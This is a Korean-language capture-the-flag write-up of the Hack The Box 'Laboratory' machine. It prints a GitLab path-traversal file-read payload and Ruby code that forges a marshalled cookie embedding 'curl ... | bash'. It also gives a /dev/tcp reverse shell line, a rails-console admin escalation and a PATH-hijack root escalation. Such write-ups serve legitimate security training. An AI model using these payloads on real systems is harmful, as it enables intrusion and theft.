Hack the box의 Machine 중 Laboratory 문제를 해결하는 과정을 기록
대상에 대한 Nmap 스캔 결과 아래와 같은 포트들과 함께 'git.laboratory.htb' 라는 서브 도메인이 존재함.
22/TCP(OpenSSH)
80/TCP(Apache 2.4.41)
443/TCP(Apache 2.4.41)
또 다른 서브 도메인이 존재하는지 확인해보기 위해 ffuf를 돌려봤더니 git 이외 존재하는지 않는것 같다.
ffuf -w SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u https://laboratory.htb/ -H "Host: FUZZ.laboratory.htb"
먼저 대상 사이트에 접근하여 HTML 코드와 디렉터리 스캔을 했을때 의미있거나 공격해볼만한 대상은 없었다.
이어서 위에서 발견한 'git.laboratory.htb'에 접근해보니 GitLab 자산이 발견됐으며, Register가 가능한것으로 파악된다.
(Register 시 이메일을 입력하는데 임의의 메일이 아닌 laboratory.htb 도메인의 이메일을 입력해야한다)
아무 권한도 없는 깡 계정이라 GitLab의 버전부터 확인해보니 GitLab CE 12.8.1이다 (GitLab은 또 CVE 맛집이지🤣)
취약점을 검색해보니 비슷한 버전대에 Arbitrary File Read 취약점이 확인된다.
임의의 두 프로젝트를 생성하여 특정 프로젝트의 이슈에 아래와 같은 페이로드를 삽입 후 이슈를 다른 프로젝트로 옮길 경우 로컬 파일을 다운로드할 수 있는 취약점이다.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
해당 취약점을 최초로 제보한 Hackerone의 GitLab Hacktivity를 참고하면 아래 파일을 다운로드하여 RCE까지 이어질 수 있다고 한다😲
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
RCE로 이어질 수 있는 시나리오는 GitLab에서 사용하는 'experimentation_subject_id' 쿠키는 secrets.yml 파일 내 'secret_key_base'를 통해 마샬링되는데 탈취한 GitLab의 'secret_key_base'를 공격자가 생성한 임의의 GitLab 서버에 등록하여 쿠키를 생성한 후 전달하면 공격 대상 GitLab에서 해당 쿠키를 디마샬링?🤔 하는 과정에서 특정 코드를 실행할 수 있다.
그렇다면 가장 먼저 대상 GitLab으로부터 'secrets.yml' 파일을 다운받아 'secret_key_base'를 탈취한다.
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
이제 임의의 GitLab 서버를 실행하기 위해 docker를 이용한다.
docker가 실행면 해당 gitlab이 실행 중인 docker의 쉘을 받아와 위에서 탈취한 'secret_key_base'를 공격자 GitLab 서버의 "/etc/gitlab/gitlab.rb"에 삽입한 후 gitlab를 재시작시켜 적용시킨다.
이후 gitlab-rails console에 접근하여 탈취한 'secret_key_base'가 적용되어있는지 확인한다.
> Rails.application.env_config["action_dispatch.secret_key_base"]
정상적으로 탈취한 키가 적용되어있으니 해당 키를 통해 마샬링된 쿠키를 생성해야한다. 공격자 서버로부터 파일을 읽어 bash로 실행하는 코드를 삽입한다.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl 10.10.14.13:8000/exploit | bash` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
공격자 서버에 exploit 파일을 생성하여 리버스 쉘을 연결하기 위해 아래와 같은 코드를 담고 공격대상에게 전달하기 위해 python3로 http를 연다. 이후 nc를 통해 12321 포트를 리스닝 한다.
bash -i >& /dev/tcp/10.10.14.13/12321 0>&1
git.laboratory.htb의 git계정을 쉘을 얻을 수 있었다😎
탈취한 서버에서 권한 상승을 위해 linPEAS로 해당 서버를 스캔한다.
해당 서버는 docker로 실행되고있는 컨테이너이며 몇가지 LPE를 위한 CVE가있긴하나 권한 상승이 불가능했으며, deepce를 통해 docker를 스캔했으나 쓸만한 건은 발견되지않았다😥
그렇기에 GitLab을 확인하기 위해 공격자(juicemon)의 GitLab의 권한을 상승시킨다. GitLab 권한 상을을 위해 Cheat Sheet를 참고했다.
u = User.find_by_username('someuser')
pp u.attributes
{"id"=>5,
"email"=>"juicemon@laboratory.htb",
"encrypted_password"=>
"$2a$10$.AxyjXm/2W6q392n60t6cO9SXFAWZlnHDzkLnJoEoB8sydiCSGoX6",
"reset_password_token"=>nil,
"reset_password_sent_at"=>nil,
"remember_created_at"=>nil,
"sign_in_count"=>1,
"current_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
"last_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
"current_sign_in_ip"=>"172.17.0.1",
"last_sign_in_ip"=>"172.17.0.1",
"created_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00,
"updated_at"=>Thu, 21 Apr 2022 05:50:16 UTC +00:00,
"name"=>"juicemon",
"admin"=>false,
"projects_limit"=>10,
"skype"=>"",
"linkedin"=>"",
"twitter"=>"",
"bio"=>nil,
"failed_attempts"=>0,
"locked_at"=>nil,
"username"=>"juicemon",
"can_create_group"=>true,
"can_create_team"=>false,
"state"=>"active",
"color_scheme_id"=>1,
"password_expires_at"=>nil,
"created_by_id"=>nil,
"last_credential_check_at"=>nil,
"avatar"=>nil,
"confirmation_token"=>nil,
"confirmed_at"=>Thu, 21 Apr 2022 05:50:13 UTC +00:00,
"confirmation_sent_at"=>nil,
"unconfirmed_email"=>nil,
"hide_no_ssh_key"=>false,
"website_url"=>"",
"admin_email_unsubscribed_at"=>nil,
"notification_email"=>"juicemon@laboratory.htb",
"hide_no_password"=>false,
"password_automatically_set"=>false,
"location"=>nil,
"encrypted_otp_secret"=>nil,
"encrypted_otp_secret_iv"=>nil,
"encrypted_otp_secret_salt"=>nil,
"otp_required_for_login"=>false,
"otp_backup_codes"=>nil,
"public_email"=>"",
"dashboard"=>"projects",
"project_view"=>"files",
"consumed_timestep"=>nil,
"layout"=>"fixed",
"hide_project_limit"=>false,
"note"=>nil,
"unlock_token"=>nil,
"otp_grace_period_started_at"=>nil,
"external"=>false,
"incoming_email_token"=>"7zpa40tq329ps89ts11dntd6n",
"organization"=>nil,
"auditor"=>false,
"require_two_factor_authentication_from_group"=>false,
"two_factor_grace_period"=>48,
"ghost"=>nil,
"last_activity_on"=>Thu, 21 Apr 2022,
"notified_of_own_activity"=>false,
"preferred_language"=>"en",
"email_opted_in"=>nil,
"email_opted_in_ip"=>nil,
"email_opted_in_source_id"=>nil,
"email_opted_in_at"=>nil,
"theme_id"=>1,
"accepted_term_id"=>nil,
"feed_token"=>"AH-SSs96ZZFnT-vWVW8x",
"private_profile"=>false,
"roadmap_layout"=>nil,
"include_private_contributions"=>nil,
"commit_email"=>nil,
"group_view"=>nil,
"managing_group_id"=>nil,
"bot_type"=>nil,
"first_name"=>nil,
"last_name"=>nil,
"static_object_token"=>nil,
"role"=>nil,
"otp_secret"=>nil}
=> {"id"=>5, "email"=>"juicemon@laboratory.htb", "encrypted_password"=>"$2a$10$.AxyjXm/2W6q392n60t6cO9SXFAWZlnHDzkLnJoEoB8sydiCSGoX6", "reset_password_token"=>nil, "reset_password_sent_at"=>nil, "remember_created_at"=>nil, "sign_in_count"=>1, "current_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "last_sign_in_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "current_sign_in_ip"=>"172.17.0.1", "last_sign_in_ip"=>"172.17.0.1", "created_at"=>Thu, 21 Apr 2022 05:50:14 UTC +00:00, "updated_at"=>Thu, 21 Apr 2022 05:50:16 UTC +00:00, "name"=>"juicemon", "admin"=>false, "projects_limit"=>10, "skype"=>"", "linkedin"=>"", "twitter"=>"", "bio"=>nil, "failed_attempts"=>0, "locked_at"=>nil, "username"=>"juicemon", "can_create_group"=>true, "can_create_team"=>false, "state"=>"active", "color_scheme_id"=>1, "password_expires_at"=>nil, "created_by_id"=>nil, "last_credential_check_at"=>nil, "avatar"=>nil, "confirmation_token"=>nil, "confirmed_at"=>Thu, 21 Apr 2022 05:50:13 UTC +00:00, "confirmation_sent_at"=>nil, "unconfirmed_email"=>nil, "hide_no_ssh_key"=>false, "website_url"=>"", "admin_email_unsubscribed_at"=>nil, "notification_email"=>"juicemon@laboratory.htb", "hide_no_password"=>false, "password_automatically_set"=>false, "location"=>nil, "encrypted_otp_secret"=>nil, "encrypted_otp_secret_iv"=>nil, "encrypted_otp_secret_salt"=>nil, "otp_required_for_login"=>false, "otp_backup_codes"=>nil, "public_email"=>"", "dashboard"=>"projects", "project_view"=>"files", "consumed_timestep"=>nil, "layout"=>"fixed", "hide_project_limit"=>false, "note"=>nil, "unlock_token"=>nil, "otp_grace_period_started_at"=>nil, "external"=>false, "incoming_email_token"=>"7zpa40tq329ps89ts11dntd6n", "organization"=>nil, "auditor"=>false, "require_two_factor_authentication_from_group"=>false, "two_factor_grace_period"=>48, "ghost"=>nil, "last_activity_on"=>Thu, 21 Apr 2022, "notified_of_own_activity"=>false, "preferred_language"=>"en", "email_opted_in"=>nil, "email_opted_in_ip"=>nil, "email_opted_in_source_id"=>nil, "email_opted_in_at"=>nil, "theme_id"=>1, "accepted_term_id"=>nil, "feed_token"=>"AH-SSs96ZZFnT-vWVW8x", "private_profile"=>false, "roadmap_layout"=>nil, "include_private_contributions"=>nil, "commit_email"=>nil, "group_view"=>nil, "managing_group_id"=>nil, "bot_type"=>nil, "first_name"=>nil, "last_name"=>nil, "static_object_token"=>nil, "role"=>nil, "otp_secret"=>nil}
위에서 확인한 것처럼 juicemon 계정의 admin 속성은 false로 확인되었으며, admin 속성을 true변경하고 저장한다.
이렇게 GitLab의 권한을 관리자로 상승 시켜 GitLab 접근 시 관리자 패널에 접근할 수 있다.
GitLab을 탐색하던 중 'dexter' 계정의 프라이빗 프로젝트에서 ssh 키를 발견하였다🔥
ids_rsa를 다운로드하여 dexter 계정으로 ssh 접근에 성공했으며 flag.txt 파일을 확인할 수 있었다.
dexter 계정에서 linpeas로 다시 한번 스캔을 하니 dexter 그룹이 실행가능한 SetUID가 붙은 파일을 볼 수 있었다.
해당 파일은 system 함수를 통해 chmod 명령을 실행한다! 🤩
해당 파일을 이용하여 권한상승을 하기위해 "/tmp/chmod" 파일을 생성하고 해당 파일에 bash을 실행하는 bash코드를 삽입하고 환경 변수 상단에 '/tmp'를 추가한 후 docker-security를 실행하여 root로 권한 상승하였다.